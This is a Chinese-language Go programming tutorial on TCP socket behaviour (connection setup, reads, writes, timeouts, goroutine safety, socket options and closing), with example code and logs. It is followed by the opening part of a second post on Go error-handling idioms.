socket在各个场景下的使用方法、行为特点以及注意事项。\n一、模型 从tcp socket诞生后，网络编程架构模型也几经演化，大致是：“每进程一个连接” –\u0026gt; “每线程一个连接” –\u0026gt; “Non-Block + I/O多路复用(linux epoll/windows iocp/freebsd darwin kqueue/solaris Event Port)”。伴随着模型的演化，服务程序愈加强大，可以支持更多的连接，获得更好的处理性能。\n目前主流web server一般均采用的都是”Non-Block + I/O多路复用”（有的也结合了多线程、多进程）。不过I/O多路复用也给使用者带来了不小的复杂度，以至于后续出现了许多高性能的I/O多路复用框架， 比如libevent、libev、libuv等，以帮助开发者简化开发复杂性，降低心智负担。不过Go的设计者似乎认为I/O多路复用的这种通过回调机制割裂控制流 的方式依旧复杂，且有悖于“一般逻辑”设计，为此Go语言将该“复杂性”隐藏在Runtime中了：Go开发者无需关注socket是否是 non-block的，也无需亲自注册文件描述符的回调，只需在每个连接对应的goroutine中以**“block I/O”**的方式对待socket处理即可，这可以说大大降低了开发人员的心智负担。一个典型的Go server端程序大致如下：\n//go-tcpsock/server.go func handleConn(c net.Conn) { defer c.Close() for { // read from the connection // ... ... // write to the connection //... ... } } func main() { l, err := net.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { fmt.Println(\u0026quot;listen error:\u0026quot;, err) return } for { c, err := l.Accept() if err != nil { fmt.Println(\u0026quot;accept error:\u0026quot;, err) break } // start a new goroutine to handle // the new connection. go handleConn(c) } } 用户层眼中看到的goroutine中的“block socket”，实际上是通过Go runtime中的netpoller通过Non-block socket + I/O多路复用机制“模拟”出来的，真实的underlying socket实际上是non-block的，只是runtime拦截了底层socket系统调用的错误码，并通过netpoller和goroutine 调度让goroutine“阻塞”在用户层得到的Socket fd上。比如：当用户层针对某个socket fd发起read操作时，如果该socket fd中尚无数据，那么runtime会将该socket fd加入到netpoller中监听，同时对应的goroutine被挂起，直到runtime收到socket fd 数据ready的通知，runtime才会重新唤醒等待在该socket fd上准备read的那个Goroutine。而这个过程从Goroutine的视角来看，就像是read操作一直block在那个socket fd上似的。具体实现细节在后续场景中会有补充描述。\n二、TCP连接的建立 众所周知，TCP Socket的连接的建立需要经历客户端和服务端的三次握手的过程。连接建立过程中，服务端是一个标准的Listen + Accept的结构(可参考上面的代码)，而在客户端Go语言使用net.Dial或DialTimeout进行连接建立：\n阻塞Dial：\nconn, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;google.com:80\u0026quot;) if err != nil { //handle error } // read or write on conn 或是带上超时机制的Dial：\nconn, err := net.DialTimeout(\u0026quot;tcp\u0026quot;, \u0026quot;:8080\u0026quot;, 2 * time.Second) if err != nil { //handle error } // read or write on conn 对于客户端而言，连接的建立会遇到如下几种情形：\n1、网络不可达或对方服务未启动 如果传给Dial的Addr是可以立即判断出网络不可达，或者Addr中端口对应的服务没有启动，端口未被监听，Dial会几乎立即返回错误，比如：\n//go-tcpsock/conn_establish/client1.go ... ... func main() { log.Println(\u0026quot;begin dial...\u0026quot;) conn, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { log.Println(\u0026quot;dial error:\u0026quot;, err) return } defer conn.Close() log.Println(\u0026quot;dial ok\u0026quot;) } 如果本机8888端口未有服务程序监听，那么执行上面程序，Dial会很快返回错误：\n$go run client1.go 2015/11/16 14:37:41 begin dial... 2015/11/16 14:37:41 dial error: dial tcp :8888: getsockopt: connection refused 2、对方服务的listen backlog满 还有一种场景就是对方服务器很忙，瞬间有大量client端连接尝试向server建立，server端的listen backlog队列满，server accept不及时((即便不accept，那么在backlog数量范畴里面，connect都会是成功的，因为new conn已经加入到server side的listen queue中了，accept只是从queue中取出一个conn而已)，这将导致client端Dial阻塞。我们还是通过例子感受Dial的行为特点：\n服务端代码：\n//go-tcpsock/conn_establish/server2.go ... ... func main() { l, err := net.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { log.Println(\u0026quot;error listen:\u0026quot;, err) return } defer l.Close() log.Println(\u0026quot;listen ok\u0026quot;) var i int for { time.Sleep(time.Second * 10) if _, err := l.Accept(); err != nil { log.Println(\u0026quot;accept error:\u0026quot;, err) break } i++ log.Printf(\u0026quot;%d: accept a new connection\\n\u0026quot;, i) } } 客户端代码：\n//go-tcpsock/conn_establish/client2.go ... ... func establishConn(i int) net.Conn { conn, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { log.Printf(\u0026quot;%d: dial error: %s\u0026quot;, i, err) return nil } log.Println(i, \u0026quot;:connect to server ok\u0026quot;) return conn } func main() { var sl []net.Conn for i := 1; i \u0026lt; 1000; i++ { conn := establishConn(i) if conn != nil { sl = append(sl, conn) } } time.Sleep(time.Second * 10000) } 从程序可以看出，服务端在listen成功后，每隔10s钟accept一次。客户端则是串行的尝试建立连接。这两个程序在Darwin下的执行 结果：\n$go run server2.go 2015/11/16 21:55:41 listen ok 2015/11/16 21:55:51 1: accept a new connection 2015/11/16 21:56:01 2: accept a new connection ... ... $go run client2.go 2015/11/16 21:55:44 1 :connect to server ok 2015/11/16 21:55:44 2 :connect to server ok 2015/11/16 21:55:44 3 :connect to server ok ... ... 2015/11/16 21:55:44 126 :connect to server ok 2015/11/16 21:55:44 127 :connect to server ok 2015/11/16 21:55:44 128 :connect to server ok 2015/11/16 21:55:52 129 :connect to server ok 2015/11/16 21:56:03 130 :connect to server ok 2015/11/16 21:56:14 131 :connect to server ok ... ... 可以看出Client初始时成功地一次性建立了128个连接，然后后续每阻塞近10s才能成功建立一条连接。也就是说在server端 backlog满时(未及时accept)，客户端将阻塞在Dial上，直到server端进行一次accept。至于为什么是128，这与darwin 下的默认设置有关：\n$sysctl -a|grep kern.ipc.somaxconn kern.ipc.somaxconn: 128 如果我在ubuntu 14.04上运行上述server程序，我们的client端初始可以成功建立499条连接。\n如果server一直不accept，client端会一直阻塞么？我们去掉accept后的结果是：在Darwin下，client端会阻塞大 约1分多钟才会返回timeout：\n2015/11/16 22:03:31 128 :connect to server ok 2015/11/16 22:04:48 129: dial error: dial tcp :8888: getsockopt: operation timed out 而如果server运行在ubuntu 14.04上，client似乎一直阻塞，我等了10多分钟依旧没有返回。 阻塞与否看来与server端的网络实现和设置有关。\n3、网络延迟较大，Dial阻塞并超时 如果网络延迟较大，TCP握手过程将更加艰难坎坷（各种丢包），时间消耗的自然也会更长。Dial这时会阻塞，如果长时间依旧无法建立连接，则Dial也会返回“ getsockopt: operation timed out”错误。\n在连接建立阶段，多数情况下，Dial是可以满足需求的，即便阻塞一小会儿。但对于某些程序而言，需要有严格的连接时间限定，如果一定时间内没能成功建立连接，程序可能会需要执行一段“异常”处理逻辑，为此我们就需要DialTimeout了。下面的例子将Dial的最长阻塞时间限制在2s内，超出这个时长，Dial将返回timeout error：\n//go-tcpsock/conn_establish/client3.go ... ... func main() { log.Println(\u0026quot;begin dial...\u0026quot;) conn, err := net.DialTimeout(\u0026quot;tcp\u0026quot;, \u0026quot;104.236.176.96:80\u0026quot;, 2*time.Second) if err != nil { log.Println(\u0026quot;dial error:\u0026quot;, err) return } defer conn.Close() log.Println(\u0026quot;dial ok\u0026quot;) } 执行结果如下（需要模拟一个延迟较大的网络环境）：\n$go run client3.go 2015/11/17 09:28:34 begin dial... 2015/11/17 09:28:36 dial error: dial tcp 104.236.176.96:80: i/o timeout 三、Socket读写 连接建立起来后，我们就要在conn上进行读写，以完成业务逻辑。前面说过Go runtime隐藏了I/O多路复用的复杂性。语言使用者只需采用goroutine+Block I/O的模式即可满足大部分场景需求。Dial成功后，方法返回一个net.Conn接口类型变量值，这个接口变量的动态类型为一个*TCPConn：\n//$GOROOT/src/net/tcpsock_posix.go type TCPConn struct { conn } TCPConn内嵌了一个unexported类型：conn，因此TCPConn”继承”了conn的Read和Write方法，后续通过Dial返回值调用的Write和Read方法均是net.conn的方法：\n//$GOROOT/src/net/net.go type conn struct { fd *netFD } func (c *conn) ok() bool { return c != nil \u0026amp;\u0026amp; c.fd != nil } // Implementation of the Conn interface. // Read implements the Conn Read method. func (c *conn) Read(b []byte) (int, error) { if !c.ok() { return 0, syscall.EINVAL } n, err := c.fd.Read(b) if err != nil \u0026amp;\u0026amp; err != io.EOF { err = \u0026amp;OpError{Op: \u0026quot;read\u0026quot;, Net: c.fd.net, Source: c.fd.laddr, Addr: c.fd.raddr, Err: err} } return n, err } // Write implements the Conn Write method. func (c *conn) Write(b []byte) (int, error) { if !c.ok() { return 0, syscall.EINVAL } n, err := c.fd.Write(b) if err != nil { err = \u0026amp;OpError{Op: \u0026quot;write\u0026quot;, Net: c.fd.net, Source: c.fd.laddr, Addr: c.fd.raddr, Err: err} } return n, err } 下面我们先来通过几个场景来总结一下conn.Read的行为特点。\n1、Socket中无数据 连接建立后，如果对方未发送数据到socket，接收方(Server)会阻塞在Read操作上，这和前面提到的“模型”原理是一致的。执行该Read操作的goroutine也会被挂起。runtime会监视该socket，直到其有数据才会重新\n调度该socket对应的Goroutine完成read。由于篇幅原因，这里就不列代码了，例子对应的代码文件：go-tcpsock/read_write下的client1.go和server1.go。\n2、Socket中有部分数据 如果socket中有部分数据，且长度小于一次Read操作所期望读出的数据长度，那么Read将会成功读出这部分数据并返回，而不是等待所有期望数据全部读取后再返回。\nClient端：\n//go-tcpsock/read_write/client2.go ... ... func main() { if len(os.Args) \u0026lt;= 1 { fmt.Println(\u0026quot;usage: go run client2.go YOUR_CONTENT\u0026quot;) return } log.Println(\u0026quot;begin dial...\u0026quot;) conn, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { log.Println(\u0026quot;dial error:\u0026quot;, err) return } defer conn.Close() log.Println(\u0026quot;dial ok\u0026quot;) time.Sleep(time.Second * 2) data := os.Args[1] conn.Write([]byte(data)) time.Sleep(time.Second * 10000) } Server端：\n//go-tcpsock/read_write/server2.go ... ... func handleConn(c net.Conn) { defer c.Close() for { // read from the connection var buf = make([]byte, 10) log.Println(\u0026quot;start to read from conn\u0026quot;) n, err := c.Read(buf) if err != nil { log.Println(\u0026quot;conn read error:\u0026quot;, err) return } log.Printf(\u0026quot;read %d bytes, content is %s\\n\u0026quot;, n, string(buf[:n])) } } ... ... 我们通过client2.go发送”hi”到Server端：\n运行结果:\n$go run client2.go hi 2015/11/17 13:30:53 begin dial... 2015/11/17 13:30:53 dial ok $go run server2.go 2015/11/17 13:33:45 accept a new connection 2015/11/17 13:33:45 start to read from conn 2015/11/17 13:33:47 read 2 bytes, content is hi ... Client向socket中写入两个字节数据(“hi”)，Server端创建一个len = 10的slice，等待Read将读取的数据放入slice；Server随后读取到那两个字节：”hi”。Read成功返回，n =2 ，err = nil。\n3、Socket中有足够数据 如果socket中有数据，且长度大于等于一次Read操作所期望读出的数据长度，那么Read将会成功读出这部分数据并返回。这个情景是最符合我们对Read的期待的了：Read将用Socket中的数据将我们传入的slice填满后返回：n = 10, err = nil。\n我们通过client2.go向Server2发送如下内容：abcdefghij12345，执行结果如下：\n$go run client2.go abcdefghij12345 2015/11/17 13:38:00 begin dial... 2015/11/17 13:38:00 dial ok $go run server2.go 2015/11/17 13:38:00 accept a new connection 2015/11/17 13:38:00 start to read from conn 2015/11/17 13:38:02 read 10 bytes, content is abcdefghij 2015/11/17 13:38:02 start to read from conn 2015/11/17 13:38:02 read 5 bytes, content is 12345 client端发送的内容长度为15个字节，Server端Read buffer的长度为10，因此Server Read第一次返回时只会读取10个字节；Socket中还剩余5个字节数据，Server再次Read时会把剩余数据读出（如：情形2）。\n4、Socket关闭 如果client端主动关闭了socket，那么Server的Read将会读到什么呢？这里分为“有数据关闭”和“无数据关闭”。\n“有数据关闭”是指在client关闭时，socket中还有server端未读取的数据，我们在go-tcpsock/read_write/client3.go和server3.go中模拟这种情况：\n$go run client3.go hello 2015/11/17 13:50:57 begin dial... 2015/11/17 13:50:57 dial ok $go run server3.go 2015/11/17 13:50:57 accept a new connection 2015/11/17 13:51:07 start to read from conn 2015/11/17 13:51:07 read 5 bytes, content is hello 2015/11/17 13:51:17 start to read from conn 2015/11/17 13:51:17 conn read error: EOF 从输出结果来看，当client端close socket退出后，server3依旧没有开始Read，10s后第一次Read成功读出了5个字节的数据，当第二次Read时，由于client端 socket关闭，Read返回EOF error。\n通过上面这个例子，我们也可以猜测出“无数据关闭”情形下的结果，那就是Read直接返回EOF error。\n5、读取操作超时 有些场合对Read的阻塞时间有严格限制，在这种情况下，Read的行为到底是什么样的呢？在返回超时错误时，是否也同时Read了一部分数据了呢？这个实验比较难于模拟，下面的测试结果也未必能反映出所有可能结果。我们编写了client4.go和server4.go来模拟这一情形。\n//go-tcpsock/read_write/client4.go ... ... func main() { log.Println(\u0026quot;begin dial...\u0026quot;) conn, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { log.Println(\u0026quot;dial error:\u0026quot;, err) return } defer conn.Close() log.Println(\u0026quot;dial ok\u0026quot;) data := make([]byte, 65536) conn.Write(data) time.Sleep(time.Second * 10000) } //go-tcpsock/read_write/server4.go ... ... func handleConn(c net.Conn) { defer c.Close() for { // read from the connection time.Sleep(10 * time.Second) var buf = make([]byte, 65536) log.Println(\u0026quot;start to read from conn\u0026quot;) c.SetReadDeadline(time.Now().Add(time.Microsecond * 10)) n, err := c.Read(buf) if err != nil { log.Printf(\u0026quot;conn read %d bytes, error: %s\u0026quot;, n, err) if nerr, ok := err.(net.Error); ok \u0026amp;\u0026amp; nerr.Timeout() { continue } return } log.Printf(\u0026quot;read %d bytes, content is %s\\n\u0026quot;, n, string(buf[:n])) } } 在Server端我们通过Conn的SetReadDeadline方法设置了10微秒的读超时时间，Server的执行结果如下：\n$go run server4.go 2015/11/17 14:21:17 accept a new connection 2015/11/17 14:21:27 start to read from conn 2015/11/17 14:21:27 conn read 0 bytes, error: read tcp 127.0.0.1:8888-\u0026gt;127.0.0.1:60970: i/o timeout 2015/11/17 14:21:37 start to read from conn 2015/11/17 14:21:37 read 65536 bytes, content is 虽然每次都是10微秒超时，但结果不同，第一次Read超时，读出数据长度为0；第二次读取所有数据成功，没有超时。反复执行了多次，没能出现“读出部分数据且返回超时错误”的情况。\n和读相比，Write遇到的情形一样不少，我们也逐一看一下。\n1、成功写 前面例子着重于Read，client端在Write时并未判断Write的返回值。所谓“成功写”指的就是Write调用返回的n与预期要写入的数据长度相等，且error = nil。这是我们在调用Write时遇到的最常见的情形，这里不再举例了。\n2、写阻塞 TCP连接通信两端的OS都会为该连接保留数据缓冲，一端调用Write后，实际上数据是写入到OS的协议栈的数据缓冲的。TCP是全双工通信，因此每个方向都有独立的数据缓冲。当发送方将对方的接收缓冲区以及自身的发送缓冲区写满后，Write就会阻塞。我们来看一个例子：client5.go和server.go。\n//go-tcpsock/read_write/client5.go ... ... func main() { log.Println(\u0026quot;begin dial...\u0026quot;) conn, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { log.Println(\u0026quot;dial error:\u0026quot;, err) return } defer conn.Close() log.Println(\u0026quot;dial ok\u0026quot;) data := make([]byte, 65536) var total int for { n, err := conn.Write(data) if err != nil { total += n log.Printf(\u0026quot;write %d bytes, error:%s\\n\u0026quot;, n, err) break } total += n log.Printf(\u0026quot;write %d bytes this time, %d bytes in total\\n\u0026quot;, n, total) } log.Printf(\u0026quot;write %d bytes in total\\n\u0026quot;, total) time.Sleep(time.Second * 10000) } //go-tcpsock/read_write/server5.go ... ... func handleConn(c net.Conn) { defer c.Close() time.Sleep(time.Second * 10) for { // read from the connection time.Sleep(5 * time.Second) var buf = make([]byte, 60000) log.Println(\u0026quot;start to read from conn\u0026quot;) n, err := c.Read(buf) if err != nil { log.Printf(\u0026quot;conn read %d bytes, error: %s\u0026quot;, n, err) if nerr, ok := err.(net.Error); ok \u0026amp;\u0026amp; nerr.Timeout() { continue } } log.Printf(\u0026quot;read %d bytes, content is %s\\n\u0026quot;, n, string(buf[:n])) } } ... ... Server5在前10s中并不Read数据，因此当client5一直尝试写入时，写到一定量后就会发生阻塞：\n$go run client5.go 2015/11/17 14:57:33 begin dial... 2015/11/17 14:57:33 dial ok 2015/11/17 14:57:33 write 65536 bytes this time, 65536 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 131072 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 196608 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 262144 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 327680 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 393216 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 458752 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 524288 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 589824 bytes in total 2015/11/17 14:57:33 write 65536 bytes this time, 655360 bytes in total 在Darwin上，这个size大约在679468bytes。后续当server5每隔5s进行Read时，OS socket缓冲区腾出了空间，client5就又可以写入了：\n$go run server5.go 2015/11/17 15:07:01 accept a new connection 2015/11/17 15:07:16 start to read from conn 2015/11/17 15:07:16 read 60000 bytes, content is 2015/11/17 15:07:21 start to read from conn 2015/11/17 15:07:21 read 60000 bytes, content is 2015/11/17 15:07:26 start to read from conn 2015/11/17 15:07:26 read 60000 bytes, content is .... client端： 2015/11/17 15:07:01 write 65536 bytes this time, 720896 bytes in total 2015/11/17 15:07:06 write 65536 bytes this time, 786432 bytes in total 2015/11/17 15:07:16 write 65536 bytes this time, 851968 bytes in total 2015/11/17 15:07:16 write 65536 bytes this time, 917504 bytes in total 2015/11/17 15:07:27 write 65536 bytes this time, 983040 bytes in total 2015/11/17 15:07:27 write 65536 bytes this time, 1048576 bytes in total .... ... 3、写入部分数据 Write操作存在写入部分数据的情况，比如上面例子中，当client端输出日志停留在“write 65536 bytes this time, 655360 bytes in total”时，我们杀掉server5，这时我们会看到client5输出以下日志：\n... 2015/11/17 15:19:14 write 65536 bytes this time, 655360 bytes in total 2015/11/17 15:19:16 write 24108 bytes, error:write tcp 127.0.0.1:62245-\u0026gt;127.0.0.1:8888: write: broken pipe 2015/11/17 15:19:16 write 679468 bytes in total 显然Write并非在655360这个地方阻塞的，而是后续又写入24108后发生了阻塞，server端socket关闭后，我们看到Wrote返回er != nil且n = 24108，程序需要对这部分写入的24108字节做特定处理。\n4、写入超时 如果非要给Write增加一个期限，那我们可以调用SetWriteDeadline方法。我们copy一份client5.go，形成client6.go，在client6.go的Write之前增加一行timeout设置代码：\nconn.SetWriteDeadline(time.Now().Add(time.Microsecond * 10)) 启动server6.go，启动client6.go，我们可以看到写入超时的情况下，Write的返回结果：\n$go run client6.go 2015/11/17 15:26:34 begin dial... 2015/11/17 15:26:34 dial ok 2015/11/17 15:26:34 write 65536 bytes this time, 65536 bytes in total ... ... 2015/11/17 15:26:34 write 65536 bytes this time, 655360 bytes in total 2015/11/17 15:26:34 write 24108 bytes, error:write tcp 127.0.0.1:62325-\u0026gt;127.0.0.1:8888: i/o timeout 2015/11/17 15:26:34 write 679468 bytes in total 可以看到在写入超时时，依旧存在部分数据写入的情况。\n综上例子，虽然Go给我们提供了阻塞I/O的便利，但在调用Read和Write时依旧要综合需要方法返回的n和err的结果，以做出正确处理。net.conn实现了io.Reader和io.Writer接口，因此可以试用一些wrapper包进行socket读写，比如bufio包下面的Writer和Reader、io/ioutil下的函数等。\nGoroutine safe 基于goroutine的网络架构模型，存在在不同goroutine间共享conn的情况，那么conn的读写是否是goroutine safe的呢？在深入这个问题之前，我们先从应用意义上来看read操作和write操作的goroutine-safe必要性。\n对于read操作而言，由于TCP是面向字节流，conn.Read无法正确区分数据的业务边界，因此多个goroutine对同一个conn进行read的意义不大，goroutine读到不完整的业务包反倒是增加了业务处理的难度。对与Write操作而言，倒是有多个goroutine并发写的情况。不过conn读写是否goroutine-safe的测试不是很好做，我们先深入一下runtime代码，先从理论上给这个问题定个性：\nnet.conn只是*netFD的wrapper结构，最终Write和Read都会落在其中的fd上：\ntype conn struct { fd *netFD } netFD在不同平台上有着不同的实现，我们以net/fd_unix.go中的netFD为例：\n// Network file descriptor. type netFD struct { // locking/lifetime of sysfd + serialize access to Read and Write methods fdmu fdMutex // immutable until Close sysfd int family int sotype int isConnected bool net string laddr Addr raddr Addr // wait server pd pollDesc } 我们看到netFD中包含了一个runtime实现的fdMutex类型字段，从注释上来看，该fdMutex用来串行化对该netFD对应的sysfd的Write和Read操作。从这个注释上来看，所有对conn的Read和Write操作都是有fdMutex互斥的，从netFD的Read和Write方法的实现也证实了这一点：\nfunc (fd *netFD) Read(p []byte) (n int, err error) { if err := fd.readLock(); err != nil { return 0, err } defer fd.readUnlock() if err := fd.pd.PrepareRead(); err != nil { return 0, err } for { n, err = syscall.Read(fd.sysfd, p) if err != nil { n = 0 if err == syscall.EAGAIN { if err = fd.pd.WaitRead(); err == nil { continue } } } err = fd.eofError(n, err) break } if _, ok := err.(syscall.Errno); ok { err = os.NewSyscallError(\u0026quot;read\u0026quot;, err) } return } func (fd *netFD) Write(p []byte) (nn int, err error) { if err := fd.writeLock(); err != nil { return 0, err } defer fd.writeUnlock() if err := fd.pd.PrepareWrite(); err != nil { return 0, err } for { var n int n, err = syscall.Write(fd.sysfd, p[nn:]) if n \u0026gt; 0 { nn += n } if nn == len(p) { break } if err == syscall.EAGAIN { if err = fd.pd.WaitWrite(); err == nil { continue } } if err != nil { break } if n == 0 { err = io.ErrUnexpectedEOF break } } if _, ok := err.(syscall.Errno); ok { err = os.NewSyscallError(\u0026quot;write\u0026quot;, err) } return nn, err } 每次Write操作都是受lock保护，直到此次数据全部write完。因此在应用层面，要想保证多个goroutine在一个conn上write操作的Safe，需要一次write完整写入一个“业务包”；一旦将业务包的写入拆分为多次write，那就无法保证某个Goroutine的某“业务包”数据在conn发送的连续性。\n同时也可以看出即便是Read操作，也是lock保护的。多个Goroutine对同一conn的并发读不会出现读出内容重叠的情况，但内容断点是依 runtime调度来随机确定的。存在一个业务包数据，1/3内容被goroutine-1读走，另外2/3被另外一个goroutine-2读 走的情况。比如一个完整包：world，当goroutine的read slice size \u0026lt; 5时，存在可能：一个goroutine读到 “worl”,另外一个goroutine读出”d”。\n四、Socket属性 原生Socket API提供了丰富的sockopt设置接口，但Golang有自己的网络架构模型，golang提供的socket options接口也是基于上述模型的必要的属性设置。包括\nSetKeepAlive SetKeepAlivePeriod SetLinger SetNoDelay （默认no delay） SetWriteBuffer SetReadBuffer 不过上面的Method是TCPConn的，而不是Conn的，要使用上面的Method的，需要type assertion：\ntcpConn, ok := c.(*TCPConn) if !ok { //error handle } tcpConn.SetNoDelay(true) 对于listener socket, golang默认采用了 SO_REUSEADDR，这样当你重启 listener程序时，不会因为address in use的错误而启动失败。而listen backlog的默认值是通过获取系统的设置值得到的。不同系统不同：mac 128, linux 512等。\n五、关闭连接 和前面的方法相比，关闭连接算是最简单的操作了。由于socket是全双工的，client和server端在己方已关闭的socket和对方关闭的socket上操作的结果有不同。看下面例子：\n//go-tcpsock/conn_close/client1.go ... ... func main() { log.Println(\u0026quot;begin dial...\u0026quot;) conn, err := net.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;:8888\u0026quot;) if err != nil { log.Println(\u0026quot;dial error:\u0026quot;, err) return } conn.Close() log.Println(\u0026quot;close ok\u0026quot;) var buf = make([]byte, 32) n, err := conn.Read(buf) if err != nil { log.Println(\u0026quot;read error:\u0026quot;, err) } else { log.Printf(\u0026quot;read % bytes, content is %s\\n\u0026quot;, n, string(buf[:n])) } n, err = conn.Write(buf) if err != nil { log.Println(\u0026quot;write error:\u0026quot;, err) } else { log.Printf(\u0026quot;write % bytes, content is %s\\n\u0026quot;, n, string(buf[:n])) } time.Sleep(time.Second * 1000) } //go-tcpsock/conn_close/server1.go ... ... func handleConn(c net.Conn) { defer c.Close() // read from the connection var buf = make([]byte, 10) log.Println(\u0026quot;start to read from conn\u0026quot;) n, err := c.Read(buf) if err != nil { log.Println(\u0026quot;conn read error:\u0026quot;, err) } else { log.Printf(\u0026quot;read %d bytes, content is %s\\n\u0026quot;, n, string(buf[:n])) } n, err = c.Write(buf) if err != nil { log.Println(\u0026quot;conn write error:\u0026quot;, err) } else { log.Printf(\u0026quot;write %d bytes, content is %s\\n\u0026quot;, n, string(buf[:n])) } } ... ... 上述例子的执行结果如下：\n$go run server1.go 2015/11/17 17:00:51 accept a new connection 2015/11/17 17:00:51 start to read from conn 2015/11/17 17:00:51 conn read error: EOF 2015/11/17 17:00:51 write 10 bytes, content is $go run client1.go 2015/11/17 17:00:51 begin dial... 2015/11/17 17:00:51 close ok 2015/11/17 17:00:51 read error: read tcp 127.0.0.1:64195-\u0026gt;127.0.0.1:8888: use of closed network connection 2015/11/17 17:00:51 write error: write tcp 127.0.0.1:64195-\u0026gt;127.0.0.1:8888: use of closed network connection 从client1的结果来看，在己方已经关闭的socket上再进行read和write操作，会得到”use of closed network connection” error；\n从server1的执行结果来看，在对方关闭的socket上执行read操作会得到EOF error，但write操作会成功，因为数据会成功写入己方的内核socket缓冲区中，即便最终发不到对方socket缓冲区了，因为己方socket并未关闭。因此当发现对方socket关闭后，己方应该正确合理处理自己的socket，再继续write已经无任何意义了。\n六、小结 本文比较基础，但却很重要，毕竟golang是面向大规模服务后端的，对通信环节的细节的深入理解会大有裨益。另外Go的goroutine+阻塞通信的网络通信模型降低了开发者心智负担，简化了通信的复杂性，这点尤为重要。\n本文代码实验环境：go 1.5.1 on Darwin amd64以及部分在ubuntu 14.04 amd64。\n本文demo代码在这里可以找到。\n","permalink":"https://tonybai.com/2015/11/17/tcp-programming-in-golang/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/go\"\u003eGolang\u003c/a\u003e的主要 设计目标之一就是面向大规模后端服务程序，网络通信这块是服务端 程序必不可少也是至关重要的一部分。在日常应用中，我们也可以看到Go中的net以及其subdirectories下的包均是“高频+刚需”，而TCP socket则是网络编程的主流，即便您没有直接使用到net中有关TCP Socket方面的接口，但net/http总是用到了吧，http底层依旧是用tcp socket实现的。\u003c/p\u003e","title":"Go语言TCP Socket编程"},{"content":"近期闲暇用Go写一个lib，其中涉及到error处理的地方让我琢磨了许久。关于Go错误处理的资料和视频已有许多，Go authors们也在官方Articles和Blog上多次提到过一些Go error handling方面的一些tips和best practice，这里仅仅算是做个收集和小结，尽视野所及，如有不足，欢迎评论中补充。（10月因各种原因，没有耕博，月末来一发，希望未为晚矣 ^_^）\n一、概述 Go是一门simple language，常拿出来鼓吹的就是作为gopher习以为傲的仅仅25个关键字^_^。因此Go的错误处理也一如既往的简单。我们知道C语言错误处理以返 回错误码(errno)为主流，目前企业第一语言Java则用try-catch- finally的处理方式来统一应对错误和异常（开发人员常常因分不清楚到底哪些是错误，哪些是异常而滥用该机制）。Go则继承了C，以返回值为错误处理的主要方式（辅以panic与recover应对runtime异常）。但与C不同的是，在Go的惯用法中，返回值不是整型等常用返回值类型，而是用了一个 error(interface类型)。\ntype interface error { Error() string } 这也体现了Go哲学中的“正交”理念：error context与error类型的分离。无论error context是int、float还是string或是其他，统统用error作为返回值类型即可。\nfunc yourFunction(parametersList) (..., error) func (Receiver)yourMethod(parametersList) (..., error) 在Andrew Gerrand的“Error handling and Go“一文中，这位Go authors之一明确了error context是由error接口实现者supply的。在Go标准库中，Go提供了两种创建一个实现了error interface的类型的变量实例的方法：errors.New和fmt.Errorf：\nerrors.New(\u0026quot;your first error code\u0026quot;) fmt.Errorf(\u0026quot;error value is %d\\n\u0026quot;, errcode) 这两个方法实际上返回的是同一个实现了error interface的类型实例，这个unexported类型就是errorString。顾名思义，这个error type仅提供了一个string的context！\n//$GOROOT/srcerrors/errors.go type errorString struct { s string } func (e *errorString) Error() string { return e.s } 这两个方法也基本满足了大部分日常学习和开发中代码中的错误处理需求。\n二、惯用法(idiomatic usage) 1、基本用法 就像上面函数或方法定义那样：\nfunc yourFunction(parametersList) (..., error) func (Receiver)yourMethod(parametersList) (..., error) 通常情况，我们将函数或方法定义中的最后一个返回值类型定义为error。使用该函数或方法时，通过如下方式判断错误码：\n..., err := yourFunction(...) if err != nil { //error handling } or if ..., err := yourFunction(...); err != nil { //error handling } 2、注意事项 1）、永远不要忽略(ignore)函数或方法返回的错误码，Check it。（例外：包括标准库在内的Go代码很少去判断fmt.Println or Printf系列函数的返回值）\n2）、error的string context中的内容格式：头母小写，结尾不带标点。因为考虑到error被经常这么用：\n... err := errors.New(\u0026quot;error example\u0026quot;) fmt.Printf(\u0026quot;The returned error is %s.\\n\u0026quot;, err) 3）、error处理流的缩进样式\nprefer\n..., err := yourFunction(...) if err != nil { // handle error } //go on doing something. rather than:\n..., err := yourFunction(...) if err == nil { // do something. } // handle error 三、槽点与破解之法 Go自诞生那天起就伴随着巨大争议，这也不奇怪，就像娱乐圈，如果没有争议，哪有存在感，刷脸的机会都没有。看来有争议是件好事，没争议的编程语言都已经成为了历史。炒作懂么！这也是很多Gopher的微博、微信、twitter、medium账号喜欢发“Why I do not like Go”类文章的原因吧^_^。\nGo的error处理方式就是被诟病的点之一，反方主要论点就是Go的错误处理机制似乎回到了70年代（与C同龄^_^），使得错误处理代码冗长且重复(部分也是由于前面提到的：不要ignore任何一个错误码)，比如一些常见的错误处理代码形式如下：\nerr := doStuff1() if err != nil { //handle error... } err = doStuff2() if err != nil { //handle error... } err = doStuff3() if err != nil { //handle error... } 这里不想去反驳这些论点，Go authors之一的Russ Cox对于这种观点进行过驳斥：当初选择返回值这种错误处理机制而不是try-catch这种机制，主要是考虑前者适用于大型软件，后者更适合小程序。当程序变大，try-catch会让错误处理更加冗长繁琐易出错(具体参见go faq)。不过Russ 